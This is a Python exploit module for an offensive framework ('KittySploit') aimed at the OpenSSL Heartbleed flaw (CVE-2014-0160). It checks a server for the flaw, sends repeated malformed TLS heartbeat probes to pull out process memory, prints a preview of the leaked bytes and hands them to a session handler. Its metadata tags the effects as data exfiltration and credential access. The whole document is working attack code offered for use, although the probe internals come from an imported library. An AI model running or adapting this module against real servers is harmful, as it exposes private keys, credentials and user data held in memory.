OpenSSL CVE-2014-0160 Heartbleed memory leak

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OpenSSL CVE-2014-0160 Heartbleed TLS memory disclosure."""

from __future__ import annotations

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.tcp.tls_heartbeat import format_leaked_ascii, probe_heartbleed


class Module(Exploit, Handler):
    __info__ = {
        "name": "OpenSSL CVE-2014-0160 Heartbleed memory leak",
        "description": (
            "CVE-2014-0160: malformed TLS heartbeat on OpenSSL 1.0.1–1.0.1f "
            "returns up to 64KB of process memory per request."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2014-0160"],
        "platform": Platform.MULTI,
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2014-0160",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["openssl", "tls", "heartbleed", "memory", "cve-2014-0160"],
        "agent": {
            "risk": "intrusive",
            "effects": ["data_exfiltration", "credential_access"],
            "expected_requests": 5,
            "reversible": True,
            "approval_required": True,
            "produces": ["memory_leak"],
            "chain": {
                "suggested_followups": [
                    "scanner/tcp/openssl_cve_2014_0160",
                    "auxiliary/scanner/tcp/openssl_cve_2014_0160_memory_dump",
                ],
            },
        },
    }

    port = OptPort(443, "TLS service port", required=True)
    probes = OptInt(3, "Number of heartbeat probes", required=False)

    def check(self):
        host = str(self.target or "")
        port = int(self.port or 443)
        result = probe_heartbleed(host, port, log=print_status)
        if result.vulnerable:
            return {
                "vulnerable": True,
                "reason": f"Leaked {result.leaked_bytes} bytes ({result.tls_version})",
                "confidence": "high",
            }
        return {"vulnerable": False, "reason": result.reason or "No over-read", "confidence": "medium"}

    def run(self):
        host = str(self.target or "")
        port = int(self.port or 443)
        n = max(1, int(self.probes or 3))
        leaked_total = b""
        vulnerable = False

        print_status("CVE-2014-0160 — Heartbleed memory disclosure")
        for i in range(n):
            result = probe_heartbleed(host, port, log=lambda _m: None)
            if result.vulnerable and result.payload:
                vulnerable = True
                leaked_total += result.payload
                print_success(f"Probe {i + 1}: {result.leaked_bytes} bytes")

        if not vulnerable:
            print_error("Target did not leak heartbeat data")
            self.not_vulnerable()
            return False

        preview = format_leaked_ascii(leaked_total[:8000])
        if preview:
            print_info(preview)

        return self.handler_execute(
            additional_data={
                "heartbleed_leaked_bytes": len(leaked_total),
                "session_type": "memory_disclosure",
            },
        )